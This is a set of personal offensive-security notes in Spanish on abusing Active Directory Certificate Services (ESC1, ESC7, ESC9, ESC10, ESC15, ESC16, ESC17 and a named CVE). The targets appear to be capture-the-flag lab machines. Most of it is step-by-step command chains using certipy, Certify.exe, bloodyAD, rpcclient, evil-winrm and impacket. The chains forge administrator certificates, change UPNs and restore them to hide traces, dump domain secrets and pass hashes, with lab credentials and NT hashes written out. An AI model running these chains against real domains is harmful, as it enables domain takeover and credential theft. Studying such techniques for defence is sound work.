Skip to content

AD Certificate Services

#adcs #esc8 #esc16 #esc15 #esc9 #ActiveDirectory #esc10

ComponenteQué es
ADCSInfraestructura de certificados en Active Directory
CAServidor que emite y gestiona certificados
PlantillaConfiguración predefinida para emitir certificados
CertificadoDocumento digital que verifica identidad

Explotación ESC1-ESC17 con certipy 🔗 https://github.com/ly4k/Certipy/wiki/06-‐-Privilege-Escalation

Explotación ESC1-ESC17 con certify.exe 🔗 https://github.com/GhostPack/Certify/wiki/4-‐-Escalation-Techniques


🧨 ¿Qué es ESC16?

ESC16 es una vulnerabilidad en entornos con ADCS que permite a un atacante obtener un certificado válido para otra cuenta (por ejemplo, un administrador) modificando el atributo userPrincipalName (UPN) de su propia cuenta.


🛠️ ¿Cómo funciona ESC16?

🔐 El truco clave:

La CA no valida que el UPN del certificado coincida con el verdadero dueño de la cuenta.

🚨 Esto permite que:

Si un atacante puede cambiar su UPN al de un administrador, puede obtener un certificado válido que representa a ese administrador.


📌 Requisitos para explotar ESC16

  1. 🔧 Permiso para modificar el atributo userPrincipalName de su propia cuenta (o de otra que controle)
    (Normalmente permitido en muchos entornos)

  2. 🏛️ Una CA vulnerable, donde:

    • No se exige una firma en la solicitud de certificado.

    • No se validan los campos como el UPN correctamente.

    • Plantillas como User permiten autenticación (Client Authentication) y no requieren aprobación.

  3. 🧾 Plantilla vulnerable (como User), que:

    • No requiere firma de solicitud.

    • Usa el UPN del solicitante para generar el certificado.


🧬 Paso a paso del ataque ESC16

PasoAcciónResultado
1️⃣El atacante cambia el UPN de su cuenta a administrator@dominio.localEl UPN ya no es el suyo, es el del administrador
2️⃣Solicita un certificado usando la plantilla UserLa CA genera un certificado para el administrador
3️⃣El atacante usa ese certificado para autenticarse como el administradorAcceso completo al dominio
4️⃣Restaura el UPN original de su cuenta (limpieza de huellas)Todo parece normal

Para saber el nombre de la CA :

bash
certipy find -u cert_admin -p 'PASS' -dc-ip 10.10.11.72

Buscamos vulnerabilidades:

bash
certipy-ad find -vulnerable -u USUARIO_CONTROLADO -hashes ":ca0f4f9e9eb8a092addf53bb03fc98c8" -dc-ip IPDC

Sacamos el UPN original de la cuenta (para luego restaurarlo)

bash
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -user 'ca_svc' read

Actualizamos el UPN a administrador para solicitarlo como él

bash
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69'  -upn 'administrator'  -user 'ca_svc' update

Guardamos autenticación por kerberos

bash
certipy shadow -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -account 'ca_svc' auto

export KRB5CCNAME=ca_svc.ccache

Solicitamos certificado para la plantilla de autenticación usuario

bash
certipy req -k -dc-ip '10.10.11.69' -target 'DC01.FLUFFY.HTB' -ca 'fluffy-DC01-CA' -template 'User'

Restauramos UPN al de la cuenta original

bash
certipy account -u 'p.agila@fluffy.htb' -p 'prometheusx-303' -dc-ip '10.10.11.69' -upn 'ca_svc@fluffy.htb' -user 'ca_svc' update

Nos autenticamos como el admin, con nuestro certificado

bash
certipy auth -dc-ip '10.10.11.69' -pfx 'administrator.pfx' -username 'administrator' -domain 'fluffy.htb'

Nos conectamos con evilwin-rm


🧨 ¿Qué es ESC15?

ESC15 es una vulnerabilidad en entornos con Active Directory Certificate Services (ADCS) que permite a un atacante autenticarse como cualquier usuario, incluso un administrador, usando un certificado que no le pertenece.


🛠️ ¿Cómo funciona ESC15?

🔐 El truco clave:

La CA no valida que el certificado presentado al autenticarse (por ejemplo, mediante PKINIT o SChannel) coincida con el usuario que lo está usando.


🚨 Esto permite que:

Un atacante con cualquier certificado válido puede especificar el nombre de otro usuario (por ejemplo, administrator) al autenticarse, y el sistema confiará en esa identidad.


📌 Requisitos para explotar ESC15

  1. ✅ Tener un certificado válido (por ejemplo, uno obtenido por ESC1, ESC6, ESC13, ESC16...).

  2. 🧾 Ese certificado debe incluir campos que permitan la autenticación (como UPN, SAN o Subject) compatibles con el usuario suplantado.

  3. 🔄 Usar ese certificado en un protocolo que no valide correctamente la identidad del solicitante, como:

    • Kerberos (PKINIT)

    • LDAP con TLS/SSL

    • RDP usando SChannel


🧬 Paso a paso del ataque ESC15

PasoAcciónResultado
1️⃣El atacante obtiene un certificado válido (por cualquier medio)Tiene una identidad digital funcional
2️⃣Usa el certificado para autenticarse como administrator@dominio.local mediante PKINIT o RDPEl servidor acepta la identidad falsa sin verificarla
3️⃣Obtiene un TGT como el administrador o accede a servicios como si fuera élAcceso completo al dominio
4️⃣No necesita modificar ningún objeto en ADEl ataque puede ser silencioso

🧨 ¿Qué es ESC9?

ESC9 es una vulnerabilidad de abuso de permisos en entornos con Active Directory Certificate Services (ADCS) que permite a un atacante con permisos de **GenericWrite o GenericAll sobre una plantilla de certificado modificarla para obtener certificados privilegiados.


🛠️ ¿Cómo funciona ESC9?

🔐 El truco clave:

Si un atacante puede modificar la configuración de una plantilla de certificado, puede cambiar sus opciones para emitir certificados que le permitan autenticarse como cualquier usuario.


📌 Requisitos para explotar ESC9

  1. 🔧 Permiso de GenericWrite o GenericAll sobre una plantilla de certificado
    (Puede ocurrir por delegaciones mal configuradas o permisos heredados)

  2. 🏛️ Una CA activa que use esa plantilla para emitir certificados sin revisión manual.

  3. ⚙️ Plantilla que permita ser modificada, donde se puedan cambiar atributos clave como:

    • ENROLLEE_SUPPLIES_SUBJECT (permitir que el solicitante establezca el Subject o SAN).

    • Client Authentication habilitado (EKU).

    • Autorización para usuarios autenticados (Authenticated Users).


🧬 Paso a paso del ataque ESC9

PasoAcciónResultado
1️⃣El atacante modifica la plantilla de certificado vulnerableCambia opciones como ENROLLEE_SUPPLIES_SUBJECT a TRUE
2️⃣Solicita un certificado usando la plantilla, indicando un SAN falsoPor ejemplo: administrator@dominio.local
3️⃣La CA emite un certificado válido con la identidad falsificadaEl certificado permite autenticarse como esa cuenta privilegiada
4️⃣El atacante usa el certificado para autenticarse por Kerberos o LDAPGana acceso con los privilegios del usuario suplantado
5️⃣Restaura la plantilla a su configuración original (opcional)Oculta rastros de la manipulación

ADCS Attack Series: Abusing ESC9 for Privilege Escalation via Weak Certificate Mapping | by Nairuz Abulhul | R3d Buck3T | Jun, 2025 | Medium

Cuando se cumplen las condiciones para ESC9 podemos cambiar el SPN de un usuario al del Administrador de dominio y a continuación solicitar un certificado para él

Condiciones

  • GenericWrite/All sobre un usuario
  • Plantilla vulnerable a ESC9 (tiene no security extension.)

Buscamos plantillas vulnerables

bash
certipy-ad find -vulnerable -u 'CA_OPERATOR' -p 'TYx4huMwMr$zbzabeGJS' -dc-ip 10.10.11.41

Buscamos un usuario sobre el que tengamos GenericAll o GenericWrite , sacamos su NTHASH o cambiamos su pass :

bash
rpcclient -U 'MANAGEMENT_SVC%a091c1832bcdd4677c28b5a6a1295584' 10.10.11.41 --pw-nt-hash
bash
setuserinfo2 CA_OPERATOR 23 'TYx4huMwMr$zbzabeGJS'

Modificamos el UPN de la cuenta víctima por el del Administrator

bash
certipy account update -u 'MANAGEMENT_SVC' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn administrator@certified.htb -dc-ip 10.10.11.41

Solicitamos un certificado como el usuario víctima, con sus credenciales

bash
certipy req -u 'ca_operator@certified.htb' -p 'TYx4huMwMr$zbzabeGJS' -ca certified-DC01-CA -template CertifiedAuthentication -dc-ip 10.10.11.41

Lo dejamos como estaba

bash
certipy account update -u 'MANAGEMENT_SVC' -hashes 'a091c1832bcdd4677c28b5a6a1295584' -user CA_OPERATOR -upn ca_operator@certified.htb -dc-ip 10.10.11.41

No autenticamos con ese certificado

bash
certipy auth -dc-ip '10.10.11.41' -pfx 'administrator.pfx' -username 'administrator' -domain 'certified.htb'
bash
evil-winrm -i 10.10.11.41 -u Administrator -H '0d5b49608bbce1751f708748f67e2d34'

Cuando se tiene una shell pero no se tienen creds

bash
.\Certify.exe enum-templates

ESC1

Esta vuln se suele dar porque se copian y se pegan plantillas por los admins para cierto propósito y se dejan el ENROLLEE_SUPPLIES_SUBJECT activado.

🔗 https://viperone.gitbook.io/pentest-everything/everything/everything-active-directory/adcs/esc1

Básicamente el atributo ENROLLEE_SUPPLIES_SUBJECT permite poner el nombre de quien queramos en el certificado y solitarlo

Pasted image 20260613180052

Normalmente necesitaríamos que las Extended Key Usage fuesen algo como lo siguiente para poder autenticarnos como Administrator

Pasted image 20260613180228

Solicitamos una plantilla como el Administrator

bash
.\Certify.exe enum-templates
bash
.\Certify.exe request --ca 'DC01.logging.htb\logging-DC01-CA' --template UpdateSrv  --upn 'administrator@logging.htb' --sid S-1-5-21-4020823815-2796529489-1682170552-500
bash
openssl pkcs12 -in cert.pem -inkey key.pem -export -out certificate.pfx -passout pass:
bash
certipy auth -dc-ip '10.129.40.53' -pfx 'certificate.pfx' -username 'administrator' -domain 'logging.htb'

ESC17

Lo mismo que ESC1, el mismo problema del atributo ENROLLEE_SUPPLIES_SUBJECT.

  • En este caso no te haces pasar por un usuario sino por un servicio.
  • La Extended Key Usage es Server Authentication

Te puede servir para hacerte pasar por un servicio, por ejemplo se puede hacer Wsus Spoofing con HTTPs

bash
.\Certify.exe request --ca 'DC01.logging.htb\logging-DC01-CA' --template UpdateSrv  --dns wsus.logging.htb --output-pem

ESC7

Se produce cuando un usuario tiene

  • ManageCA (Administrador de la CA): Permite al usuario modificar la configuración general y los ajustes de la Autoridad de Certificación.

Diferenciándolo de

  • ManageCertificates: Permite aprobar certificados pendientes de aprobación.
Manage CA + sin Manage Certificates
         |
         v
1. Habilitas plantilla SubCA (deshabilitada por defecto)
2. Solicitas certificado SubCA (queda PENDIENTE - status 9)
3. Te auto-apruebas la solicitud (usando Manage CA)
4. Recibes un certificado de CA firmado por la CA legítima
5. Con ese certificado SubCA, firmas certificados para cualquier usuario

Tenemos que añadir al usuario vulnerable como officer lo que nos permite aprobar solicitudes de creación de certificados

bash
certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -add-officer 'GMSA_CA_PROD$'

Habilitamos la plantilla SubCA, que es la que usaremos para solicitar el certificado como Administrator

bash
certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -enable-template 'SubCA'

Solicitamos la creación del certificado usando la plantilla, esto nos tira permission denied

bash
certipy req -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -template 'SubCA' -upn 'administrator@fries.htb'

SI al intentar aprobar

bash
certipy ca -u 'GMSA_CA_PROD$' -hashes ':5710cd97225e920cdc6badc919fc8c51' -dc-ip 10.129.25.115 -ca 'fries-DC01-CA' -issue-request '1'

ESC10

No puede ser detectado por Certipy ni Certify

  • Para detectarlo
reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\SCHAN
NEL

Si está en 0x4 (Mapeo débil, no se exige la extensión SID para saber si el certificado es tuyo, solo el UPN )

Pasted image 20260810180408
  • Y se debe de tener permisos para modificar el UPN de un usuario (WriteProperty sobre UPN o Write All Properties, GenericWrite o Full Control)

Para consultarlo:

bash
bloodyAD --host DC01.mirage.htb --dc-ip 10.129.232.163 -d mirage.htb -u 'Mirage-Service$' -k get writable
  • El usuario sobre el que se debe modificar el UPN puede inscribirse en un plantilla cualquiera, por ejemplo user
bash
certipy find -enabled -u 'MARK.BBOND' -p '' -dc-ip 10.129.232.163 -k -target DC01

Cambiamos el UPN al del DC01

bash
bloodyAD -d mirage.htb -u 'mirage-service$' --host
dc01.mirage.htb -k set object 'mark.bbond' userPrincipalName -v 'DC01$@mirage.htb'

Solicitamos un certificado como ese usuario

bash
certipy req -k -dc-ip 10.129.232.163 -target DC01.mirage.htb -ca mirage-DC01-CA -template User -u mark.bbond@mirage.htb -p '1day@atime'

Cambiamos el UPN al de la victima de nuevo

bash
bloodyAD -d mirage.htb -u 'mirage-service$' --host
dc01.mirage.htb -k set object 'mark.bbond' userPrincipalName -v 'mark.bbond@mirage.htb'

No podemos hacer un DCSync con este certificado, porque sigue teniendo el SID de mar.bbond Emitimos una ldap shell

bash
certipy auth -pfx dc01.pfx -dc-ip 10.129.232.163 -ldap-shell

impacket-getTGT -hashes :c7aabcd84e2637a1d667a27220ab6da2 'mirage.htb/Mirage-Service$' -no-pass

RBCD:

bash
set_rbcd DC01$ Mirage-Service$

impacket-getST -spn 'http/DC01.mirage.htb' -impersonate DC01$ -no-pass 'mirage.htb/Mirage-Service$'

impacket-secretsdump -no-pass -k DC01.mirage.htb

CertiGhost (CVE-2026-54121)

🔗 https://gist.github.com/H0j3n/a5ef2609b5f2944ac2390a191a534c26

🔗 https://github.com/aniqfakhrul/CVE-2026-54121

Necesario:

  1. Permisos de Enroll en una plantilla
  2. Machine Account Quota > 0
bash
nxc ldap <ip> -u user -p pass -M maq

Notas personales de seguridad ofensiva.